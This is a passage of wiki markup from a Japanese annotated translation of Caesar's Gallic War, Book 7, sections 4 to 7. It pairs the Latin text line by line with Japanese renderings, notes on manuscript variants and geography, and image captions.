*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; non [[wikt:en:destitit|destitit]] tamen 
**しかしながら&lt;small&gt;（彼は計画を）&lt;/small&gt;取り止めず、
*atque in agris habet [[wikt:en:dilectus#Noun|dilectum]] [[wikt:en:egens#Latin|egentium]] ac [[wikt:en:perditor#Noun|perditorum]]. 
**野に貧窮者たちやならず者たちを徴集する。
:　
*Hac [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**こうした手勢が集められ、
*[[wikt:en:quoscumque|quoscumque]] [[wikt:en:adit#Latin|adit]] ex civitate, 
**部族のうちで&lt;small&gt;（彼が）&lt;/small&gt;会った者は誰であれ、
*ad suam [[wikt:en:sententia#Latin|sententiam]] [[wikt:en:perducit|perducit]]; 
**自らの意図に引き込んだ。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:hortatur|hortatur]] ut [[wikt:en:communis#Latin|communis]] [[wikt:en:libertas#Latin|libertatis]] causa [[wikt:en:arma#Latin|arma]] [[wikt:en:capiant|capiant]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の自由のために武器を取るように鼓舞した。
*[[wikt:en:magnus#Latin|magnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:coactus#Latin|coactis]] [[wikt:en:copia#Latin|copiis]] 
**大軍勢が集められて、
*[[wikt:en:adversarius#Latin|adversarios]] suos, a quibus paulo ante erat [[wikt:en:eiectus#Latin|eiectus]], 
**少し前に&lt;small&gt;（彼をゲルゴウィアから）&lt;/small&gt;放逐したところの敵対者たちを、
*[[wikt:en:expellit|expellit]] ex civitate. 
**部族から追放する。
*[[wikt:en:rex#Latin|Rex]] ab suis [[wikt:en:appellatur|appellatur]]. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;配下の者たちから王と呼ばれている。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:dimittit|Dimittit]] [[wikt:en:quoque#Latin|quoque]] [[wikt:en:versus#Adverb|versus]] [[wikt:en:legatio#Latin|legationes]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;あらゆる方向へ使節団を派遣して、
*[[wikt:en:obtestatur|obtestatur]] ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]]. 
**誓約に留まるようにと、懇願する。
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter sibi 
**速やかに、自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;に対して
*[[wikt:en:Senones#Latin|Senones]], [[wikt:en:Parisii#Latin|Parisios]], [[wikt:en:Pictones#Latin|Pictones]], [[wikt:en:Cadurci#Latin|Cadurcos]], &lt;u&gt;Turonos&lt;/u&gt;, [[wikt:en:Aulerci#Latin|Aulercos]], [[wikt:en:Lemovices#Latin|Lemovices]], &lt;u&gt;Andes&lt;/u&gt; 
**セノネース族、パリースィイー族、ピクトネース族、カドゥルキー族、&lt;br&gt;&lt;u&gt;トゥロニイー族&lt;/u&gt;、アウレルキー族、レモウィーケース族、アンデース族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部のトゥロニイー族 ''[[w:Turoni|Turoni]]'' は、トゥロネース族 ''[[wikt:en:Turones#Latin|Turonēs]]'' ともいう。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本では [[wikt:en:Andi#Latin|Andos]]「アンディー族」だが、&lt;br&gt;　　　　　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Glareanus|Glareanus]]'' は、[[wikt:en:Andes#Latin|Andēs]]「アンデース族」と修正提案し、&lt;br&gt;　　　　　　　　　　　　　これは別名「アンデカーウィー族」''[[wikt:en:Andecavi#Latin|Andecāvī]]'' ともいう。）&lt;/span&gt;
*reliquosque omnes, qui [[wikt:en:Oceanus#Latin|Oceanum]] [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adiungit|adiungit]]; 
**および&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接するほかの全部族を、加盟させる。
*omnium [[wikt:en:consensus#Latin|consensu]] 
**すべての者たちの同意により、
*ad eum [[wikt:en:defertur|defertur]] [[wikt:en:imperium#Latin|imperium]]. 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;に&lt;small&gt;（諸部族の）&lt;/small&gt;軍勢指揮権が譲り渡される。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Qua [[wikt:en:oblatus#Latin|oblata]] [[wikt:en:potestas#Latin|potestate]] 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;その権限が任されると、
*omnibus his civitatibus [[wikt:en:obses#Latin|obsides]] [[wikt:en:imperat|imperat]], 
**これらすべての部族に人質&lt;small&gt;（の供出）&lt;/small&gt;を命令して、
*[[wikt:en:certus#Latin|certum]] numerum [[wikt:en:miles#Latin|militum]] ad se celeriter [[wikt:en:adduci#Latin|adduci]] [[wikt:en:iubet#Latin|iubet]], 
**兵の一定の数が自分のもとへ速やかに動員されることを命じる。
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:arma#Latin|armorum]] [[wikt:en:quantum#Latin|quantum]] [[wikt:en:quisque#Latin|quaeque]] civitas [[wikt:en:domi#Latin|domi]] [[wikt:en:quisque#Latin|quodque]] ante tempus [[wikt:en:efficiat|efficiat]], [[wikt:en:constituit#Latin|constituit]]; 
**おのおのの部族が本国で、武器のどれほどをその時期の前に生産するかを、決定した。
*in primis [[wikt:en:equitatus#Latin|equitatui]] [[wikt:en:studet|studet]]. 
**とりわけ、[[w:騎兵|騎兵隊]]を熱心に求めた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Summae diligentiae summam [[wikt:en:imperium#Latin|imperii]] [[wikt:en:severitas#Latin|severitatem]] addit; 
**&lt;small&gt;&lt;/small&gt;（ウェルキンゲトリークスは）最高の入念さに、命令の最高の厳格さを付け加える。
*magnitudine [[wikt:en:supplicium#Latin|supplicii]] [[wikt:en:dubitans#Latin|dubitantes]] cogit. 
**重大な刑罰をふんぎりが付かぬ者たちへ強いる。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Nam maiore commisso delicto &lt;u&gt;igni&lt;/u&gt; atque omnibus tormentis necat, 
**すなわち、より重大な違反を犯したら、火とあらゆる拷問によって誅殺した。
*leviore de causa auribus desectis aut singulis effossis oculis domum remittit, 
**より軽微な場合については、両耳を切り取り、あるいは眼を一つずつ繰り抜いて、郷里へ送還する。
*ut sint reliquis documento et magnitudine poenae perterreant alios.
**ほかの者たちへの警告となり、懲罰の重大さが別の者たちを畏怖させるようにである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===5節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/5節]]　{{進捗|00%|2025-12-14}}&lt;/span&gt;
;ビトゥリゲース族が、ガッリア同盟軍に寝返る
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:supplicium#Latin|suppliciis]] celeriter [[wikt:en:coactus#Latin|coacto]] [[wikt:en:exercitus#Noun|exercitu]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらの刑罰により速やかに軍隊を徴集して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「軍隊」と訳される [[wikt:en:exercitus#Noun|exercitus]] には「鍛えられて規律がある」という意味合いがあり、&lt;br&gt;　　　　これまでカエサルがガッリア人の軍勢をこのように表現したことはまれであった。）&lt;/span&gt;
*[[wikt:en:Lucterius#Latin|Lucterium]] [[wikt:en:Cadurcus#Latin|Cadurcum]], [[wikt:en:summus#Latin|summae]] hominem [[wikt:en:audacia#Latin|audaciae]], 
**この上なく豪胆な人物であるカドゥルキー族のルクテリウスを
*cum parte [[wikt:en:copiarum#Noun_2|copiarum]] in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:mittit|mittit]]; 
**軍勢の一部とともにルテーニー族のところに遣わす。
*ipse in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身はビトゥリゲース族のところに出発する。
:　
;　　　ビトゥリゲース族が、ハエドゥイー族に、対ウェルキンゲトリークスのための援兵を依頼
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eius [[wikt:en:adventus#Latin|adventu]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の到来により、
*[[wikt:en:Bituriges#Latin|Bituriges]] ad [[wikt:en:Aeduos|Haeduos]], quorum erant in [[wikt:en:fides#Latin|fide]], 
**ビトゥリゲース族は、彼らが庇護下にあった[[w:ハエドゥイ族|ハエドゥイー族]]のもとへ、
*[[wikt:en:legatus#Latin|legatos]] [[wikt:en:mittunt|mittunt]] [[wikt:en:subsidium#Latin|subsidium]] [[wikt:en:rogatum#Verb|rogatum]], 
**使節たちを、&lt;small&gt;（ハエドゥイー族からの）&lt;/small&gt;援兵を依頼するために派遣する。
*[[wikt:en:quo#Adverb|quo]] [[wikt:en:facile#Latin|facilius]] hostium copias [[wikt:en:sustinere|sustinere]] [[wikt:en:possint|possint]]. 
**それにより、敵の軍勢をより容易に持ちこたえることができるようにということであった。
:　
;　　　ハエドゥイー族が、ビトゥリゲース族に対して援兵を派兵
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:Aedui#Latin|Haedui]] de [[wikt:en:consilium#Latin|consilio]] [[wikt:en:legatus#Latin|legatorum]], quos Caesar ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reliquerat|reliquerat]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]は、カエサルが軍隊のもとへ残していた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの助言により、
*copias [[wikt:en:equitatus#Noun|equitatus]] [[wikt:en:peditatus#Latin|peditatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:subsidium#Latin|subsidio]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:mittunt|mittunt]]. 
**[[w:騎兵|騎兵隊]]と[[w:歩兵|歩兵隊]]の軍勢をビトゥリゲース族に対する援兵として派遣する。
:　
;　　　ハエドゥイー族の援兵が、ビトゥリゲース族の寝返りを怖れて、途中で逃げ帰ってしまう
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qui cum ad flumen [[wikt:en:Liger#Latin|Ligerim]] [[wikt:en:venissent|venissent]], quod [[wikt:en:Bituriges#Latin|Bituriges]] ab [[wikt:en:Aeduis|Haeduis]] [[wikt:en:dividit#Latin|dividit]], 
**その者たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族を[[w:ハエドゥイ族|ハエドゥイー族]]から分け隔てるリゲル川のたもとへやって来たときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川 [[w:la:Liger|Liger]] は、現在の[[w:ロワール川|ロワール川]]。&lt;br&gt;　　　　本書に登場するビトゥリゲース・クビ族 ''[[w:en:Bituriges Cubi|Bituriges Cubi]]'' は、&lt;br&gt;　　　　　ロワール川西岸の[[w:シェール県|シェール県]]の辺りに居住していた。&lt;br&gt;　　　　対して、[[w:ハエドゥイ族|ハエドゥイー族]]は、&lt;br&gt;　　　　　ロワール川東岸の[[w:ニエーヴル県|ニエーヴル県]]の辺りに居住していた。）&lt;/span&gt;
[[画像:Map of Eduens people-fr.svg|thumb|right|250px|[[w:ハエドゥイ族|ハエドゥイー族]]を軸とするガッリアの合従連衡（&lt;small&gt;フランス語表記&lt;/small&gt;）。赤い部分がハエドゥイー族（Eduens）、桃色・茶色の部分が同盟部族、灰色の部分が敵対する[[w:アルウェルニ族|アルウェルニー族]]（Arvernes）とセクアニ族（Sequanes）の領域である。茶色のビトゥリゲース族（Bituriges）と赤いハエドゥイー族（Eduens）の境界に沿ってリゲル川（[[w:ロワール川|ロワール川]]）が流れていることが見て取れる。川の西岸はビトゥリゲース族とアルウェルニー族の勢力圏になっている。]]
*paucos dies ibi [[wikt:en:moratus#Participle|morati]] 
**わずかな日々をそこでぐずぐずして、
*neque flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:ausus#Participle|ausi]] [[wikt:en:domus#Latin|domum]] [[wikt:en:revertuntur|revertuntur]] 
**川をあえて渡らずに、故国に引き返す。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:legatus#Latin|legatis]]&lt;nowiki&gt;que&lt;/nowiki&gt; nostris [[wikt:en:renuntiant|renuntiant]] 
**&lt;small&gt;（ハエドゥイー族の援兵たちが）&lt;/small&gt;我が方&lt;small&gt;〔ローマ方〕&lt;/small&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告したことには、
*se [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:perfidia#Latin|perfidiam]] [[wikt:en:veritus#Latin|veritos]] [[wikt:en:revertisse|revertisse]], 
**自分たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族の寝返りを恐れて引き返した。
*quibus id [[wikt:en:consilium#Latin|consilii]] fuisse [[wikt:en:cognoverint|cognoverint]], 
**彼らには、以下のような謀計があったことを探知したのだ。
*ut, si flumen [[wikt:en:transissent#Latin|transissent]], una ex parte ipsi, altera [[wikt:en:Arverni#Latin|Arverni]] se [[wikt:en:circumsisterent|circumsisterent]]. 
**もし川を渡ったら、一方から&lt;small&gt;（ビトゥリゲース族）&lt;/small&gt;自身が、他方から[[w:アルウェルニ族|アルウェルニー族]]が自分たちを包囲するというものだ、と。
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Id ea&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:-ne|ne]]&lt;/span&gt; de causa, quam [[wikt:en:legatus#Latin|legatis]] &lt;u&gt;pronuntiarunt&lt;/u&gt;, 
**そのことは&lt;small&gt;（援兵たちが）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告した理由によって&lt;small&gt;（なしたのか？）&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] ～ [[wikt:en:an#Latin|an]] …；～であるか、あるいは…であるか。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:pronuntiarunt|pronuntiarunt]]&lt;sub&gt;&amp;nbsp;(直接法･完了形)&lt;/sub&gt; は古い印刷本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|edd.vett.]]'' の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本では [[wikt:en:pronuntiarint|pronuntiarint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　&amp;beta;系写本では [[wikt:en:pronuntiaverint|pronuntia&lt;u&gt;ve&lt;/u&gt;rint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:an|an]]&lt;/span&gt; [[wikt:en:perfidia#Latin|perfidia]] [[wikt:en:adductus#Latin|adducti]] [[wikt:en:fecerint|fecerint]], 
**あるいは&lt;small&gt;（ビドゥリゲース族の）&lt;/small&gt;寝返りに動かされて、なしたのか？
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:nihil#Latin|nihil]] nobis [[wikt:en:constat#Latin|constat]], 
**我々&lt;small&gt;〔ローマ人〕&lt;/small&gt;には何ら定かではないので、
*non [[wikt:en:videtur|videtur]] pro [[wikt:en:certus#Latin|certo]] esse &lt;u&gt;proponendum&lt;/u&gt;. 
**確言するべきであるとは思われない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ pro certo ponere；～を確かであると主張する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:proponendum|&lt;u&gt;pro&lt;/u&gt;ponendum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:ponendum|ponendum]] となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ビトゥリゲース族が、ローマ人やハエドゥイー族から離反して、アルウェルニー族と同盟してしまう
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Bituriges#Latin|Bituriges]] eorum [[wikt:en:discessus#Noun|discessu]] 
**ビトゥリゲース族は、彼ら&lt;small&gt;〔援兵〕&lt;/small&gt;の撤収により、
*[[wikt:en:statim#Latin|statim]] &lt;u&gt;se&lt;/u&gt; cum [[wikt:en:Arverni#Latin|Arvernis]] &lt;u&gt;coniunguntur&lt;/u&gt;.
**ただちに[[w:アルウェルニ族|アルウェルニー族]]と&lt;small&gt;（同盟を）&lt;/small&gt;結んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:iunguntur|iunguntur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では se ～ [[wikt:en:coniungunt|coniungunt]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===6節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/6節]]　{{進捗|00%|2025-12-15}}&lt;/span&gt;
[[画像:Warsaw Royal Castle GM (12).JPG|thumb|right|200px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の立像（[[w:ワルシャワ歴史地区|ワルシャワ王宮]]）。彼は首都の騒乱を鎮めるために単独の[[w:執政官|執政官]]として大権を与えられ、イタリアの徴兵権を得た。[[w:三頭政治|三頭政治]]後のこの混乱期に、彼はカエサルの政敵たちからこぞって支持されたが、危機に瀕していたカエサルを打倒する絶好の機会を見送った。これは重大な逸機であり、数年後にポンペイウスにとって致命的な結果をもたらすことになる。]]
;諸軍団と分断されて苦慮するカエサル
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus in Italiam Caesari [[wikt:en:nuntiatus#Latin|nuntiatis]], 
**これらの事情がイタリアにいるカエサルへ知らされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、&lt;br&gt;　　　　カエサルの属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことである。）&lt;/span&gt;
*cum iam ille [[wikt:en:urbanus#Latin|urbanas]] res [[wikt:en:virtus#Latin|virtute]] [[wikt:en:Gnaei#Latin|Gnaei]]&lt;sub&gt;&amp;nbsp;([[wikt:en:Cn.#Latin|Cn.]])&lt;/sub&gt; [[wikt:en:Pompeius#Proper_noun|Pompei]] [[wikt:en:commodior#Latin|commodiorem]] in [[wikt:en:status#Noun_11|statum]] [[wikt:en:pervenisse#Latin|pervenisse]] [[wikt:en:intellegeret|intellegeret]], 
**彼は、もはや都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の事態は[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の果断さによってより相応な状態に至ったと認識したので、
*in [[wikt:en:Gallia_transalpina#Latin|Transalpinam Galliam]] [[wikt:en:profectus#Latin|profectus]] est. 
**ガッリア・トラーンサルピーナ&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に出発した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#1節|1節]]②項で言及された Galliam Transalpinam は&lt;br&gt;　　　　アルプスの西側「長髪のガッリア」全般を指すと思われるが、&lt;br&gt;　　　　ここではどちらかといえば&lt;br&gt;　　　　ガッリア南部のローマ属州ガッリア・トラーンサルピーナ&lt;br&gt;　　　　すなわち後の[[w:ガリア・ナルボネンシス|ガッリア・ナルボーネーンスィス]]を指す。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;そこに来たときに、
*magna [[wikt:en:difficultas#Latin|difficultate]] [[wikt:en:adficiebatur|adficiebatur]], qua [[wikt:en:ratio#Latin|ratione]] ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:posset#Latin|posset]]. 
**どのような方策で軍隊のもとへ到達することができるか、という大きな困難に苦悩させられていた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, si [[wikt:en:legio#Latin|legiones]] in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:arcesseret|arcesseret]], 
**なぜなら、もし、諸[[w:ローマ軍団|軍団]]を属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;に呼び寄せるのならば、
*se [[wikt:en:absens#Latin|absente]] in [[wikt:en:iter#Latin|itinere]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:dimicaturus#Latin|dimicaturas]] [[wikt:en:intellegebat|intellegebat]]; 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のままで、行軍中に戦闘を闘うことになるであろうと理解していた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; si ipse ad exercitum [[wikt:en:contenderet|contenderet]], 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自身が&lt;small&gt;（大部隊の護衛なしで）&lt;/small&gt;軍隊のもとへ急いで行くのならば、
*&lt;u&gt;ne&lt;/u&gt; iis &lt;u&gt;quidem&lt;/u&gt; eo tempore qui quieti [[wikt:en:viderentur|viderentur]], 
**そのときには、中立を保っていると見られる者たちでさえも、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iis#Latin|iis]] は&amp;beta;系写本の記述で、&amp;alpha;系写本では [[wikt:en:his#Latin|his]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quietus#Latin|quietus, quieti]]「平和的な、中立的な」）&lt;/span&gt;
*suam [[wikt:en:salus#Latin|salutem]] [[wikt:en:recte#Latin|recte]] [[wikt:en:committi|committi]] [[wikt:en:videbat|videbat]]. 
**自分の身の安全を良く託されるとは思えなかったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：前年まで、すなわち第6巻までの戦争は主としてガッリア北部・中部などで闘われていたので、&lt;br&gt;　　　　[[ガリア戦記 第6巻#44節|第6巻44節]]で既述のように、ローマ諸軍団はガッリア北部・中部周辺に冬営させられていた。&lt;br&gt;　　　　今回は軍団が駐留していないガッリア中南部を中心に反乱が起こったので、&lt;br&gt;　　　　カエサルと諸軍団は分断された。&lt;br&gt;　　　　そのため、カエサルが大部隊の護衛なしで北上すれば、&lt;br&gt;　　　　同盟部族にさえ寝首を掻かれる怖れがあったのである。）
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===7節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/7節]]　{{進捗|00%|2025-12-19}}&lt;/span&gt;
;ルクテリウスとカエサルのナルボーをめぐる駆け引き
[[画像:Narbonne_panorama.jpg|thumb|right|300px|'''ナルボー'''（Narbo）すなわち現在の[[w:ナルボンヌ|ナルボンヌ市]]（Narbonne）の街並み。ローマ人が[[w:ドミティア街道|ドミティア街道]]の拠点として植民市'''コロニア・ナルボー・マルティウス'''（Colonia Narbo Martius）を建設し、後には[[w:ローマ内戦 (紀元前49年-紀元前45年)|ローマ内乱]]のときにもカエサル派の根拠地となった。その重要性から帝政期には州都に昇格し、[[w:属州|属州]]名も[[w:ガリア・ナルボネンシス|ガッリア・ナルボネンスィス]]に改められたほどである。]]
[[画像:Via_domitia_map600x600_(1).png|thumb|right|200px|[[w:ドミティア街道|ドミティア街道]]（Via Domitia）の経路。ローマ人によってイタリアと[[w:ヒスパニア|ヒスパーニア]]を結ぶ重要な街道として整備された。本節でカエサル側の軍勢が往復したのもこの街道である。]]
:　
;　　　カドゥルキー族のルクテリウスが、ルテーニー族を同盟に引き入れる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Lucterius#Latin|Lucterius]] [[wikt:en:Cadurcus#Latin|Cadurcus]] 
**その間に、カドゥルキー族のルクテリウスが
*in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:missus#Participle|missus]] 
**ルテーニー族のところに遣わされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#5節|5節]]の冒頭で述べられた。&lt;br&gt;　　　　ルテーニー族 ''[[w:en:Ruteni|Ruteni]]'' は現在の[[w:アヴェロン県|アヴェロン県]]の&lt;br&gt;　　　　[[w:ロデーズ|ロデーズ]]辺りにいたとされる。）&lt;/span&gt;
*eam [[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Arverni#Latin|Arvernis]] [[wikt:en:conciliat|conciliat]]. 
**その部族に[[w:アルウェルニ族|アルウェルニー族]]との仲を取り持つ。
:　
;　　　ルクテリウスが、ローマ属州内の拠点都市ナルボーを目指す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:progressus#Participle|Progressus]] in [[wikt:en:Nitiobriges#Latin|Nitiobriges]] et [[wikt:en:Gabali#Latin|Gabalos]] 
**&lt;small&gt;（彼は）&lt;/small&gt;ニティオブリゲース族とガバリー族のところに進んで行き、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ニティオブリゲース族&lt;br&gt;　　　　　またはニティオブロゲース族 ''[[w:en:Nitiobroges|Nitiobroges]]'' は&lt;br&gt;　　　　　現在の[[w:ロット＝エ＝ガロンヌ県|ロット＝エ＝ガロンヌ県]][[w:アジャン|アジャン]]辺り、&lt;br&gt;　　　　ガバリー族 ''[[w:en:Gabali|Gabali]]'' は現在の[[w:ロゼール県|ロゼール県]]辺りにいたらしい。）&lt;/span&gt;
*ab [[wikt:en:uterque#Latin|utrisque]] [[wikt:en:obses#Latin|obsides]] [[wikt:en:accipit|accipit]] 
**双方から人質たちを受け取って、
*et, magna [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**多くの手勢を徴集すると、
*in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:Narbo#Latin|Narbonem]] [[wikt:en:versus#Latin|versus]] [[wikt:en:eruptio#Latin|eruptionem]] facere [[wikt:en:contendit|contendit]]. 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;[[w:属州|属州]]内のナルボーに向かって出撃することを急ぐ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ナルボー [[w:la:Narbo|Narbo]] は、ローマ人が建設した地中海岸の植民市で、&lt;br&gt;　　　　ヒスパーニアとイタリアを結ぶ拠点であった。&lt;br&gt;　　　　現在の[[w:ナルボンヌ|ナルボンヌ]]。）&lt;/span&gt;
:　
;　　　カエサルもナルボーを目指す
